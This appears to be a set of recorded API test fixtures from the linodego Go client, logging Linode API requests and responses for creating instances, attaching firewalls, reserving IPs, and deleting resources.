'{"region":"ap-west","type":"g6-nanode-1","label":"linodego-fw-inst-test","root_pass":"+r\u003eiWx30A84Eq9,24dMPW/@?.\u0026|ssQo3UXVd)XVZ2zb@Aw6/62000m\u003c}fTq0+T@b","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874263, "label": "linodego-fw-inst-test", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.1.9"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c37a9389a8780ce12d745d3f703cbee667a6278e", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "805" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-fw-ins-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{"linodes":[61874263]}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692878, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": [{"id": 61874263, "type": "linode", "label": "linodego-fw-inst-test", "url": "/v4/linode/instances/61874263"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "695" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874263/firewalls?page=1 method: GET response: body: '{"data": [{"id": 692878, "label": "linodego-fw-ins-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": [{"id": 61874263, "type": "linode", "label": "linodego-fw-inst-test", "url": "/v4/linode/instances/61874263"}]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "744" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692878 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874263 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_AddReservedIPToInstance.yaml000066400000000000000000000272101474652371000344700ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"test-instance-for-ip-reservation","root_pass":"5vJy-=\\NV\u003c1w`6!2Yf~6.2zN4L-zz5w\\2nWk0lH6Zq/}BN8[3Ou#37shHE-C3|rV"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63837282, "label": "test-instance-for-ip-reservation", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.160.146"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "aab21dc7e975cd72af77bb1dee30b501acd7d3b9", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "858" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "45.79.150.200", "gateway": "45.79.150.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-150-200.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "261" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"45.79.150.200"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837282/ips method: POST response: body: '{"address": "45.79.150.200", "gateway": "45.79.150.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-150-200.ip.linodeusercontent.com", "linode_id": 63837282, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "265" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837282/ips method: GET response: body: '{"ipv4": {"public": [{"address": "45.79.150.200", "gateway": "45.79.150.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-150-200.ip.linodeusercontent.com", "linode_id": 63837282, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}, {"address": "45.79.160.146", "gateway": "45.79.160.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-160-146.ip.linodeusercontent.com", "linode_id": 63837282, "region": "us-east", "vpc_nat_1_1": null, "reserved": false}], "private": [], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 63837282, "region": "us-east", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 63837282, "region": "us-east", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.79.150.200 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837282 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:53:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_AddReservedIPToInstanceVariants.yaml000066400000000000000000000734611474652371000362110ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"test-instance-for-ip-reservation","root_pass":"G2iB;VR!85]g1LXU^sC9zW;f\u00268168Ee\u003ca6g*td{r16tGq\u003cm4.^Yd''p$7UH,5-6BM"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63837167, "label": "test-instance-for-ip-reservation", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["97.107.141.56"], "ipv6": "1234::5678/128", "image": null, "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "aab21dc7e975cd72af77bb1dee30b501acd7d3b9", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "858" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "23.92.21.220", "gateway": "23.92.21.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "23-92-21-220.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "258" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"address": "23.92.21.220", "gateway": "23.92.21.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "23-92-21-220.ip.linodeusercontent.com", "linode_id": 63837167, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Cannot reserve a private address.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "81" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:41 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "45.79.150.200", "gateway": "45.79.150.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "45-79-150-200.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "261" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"45.79.150.200"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63510870/ips method: POST response: body: '{"errors": [{"reason": "Additional IPv4 addresses require technical justification. Please contact support describing your requirement"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "138" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/45.79.150.200 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/888888/ips method: POST response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 19:48:42 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" - request: body: '{"type":"ipv4","public":true,"address":"23.92.21.220"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63837167/ips method: POST response: body: '{"errors": [{"reason": "Address must be currently unassigned.", "field": "address"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 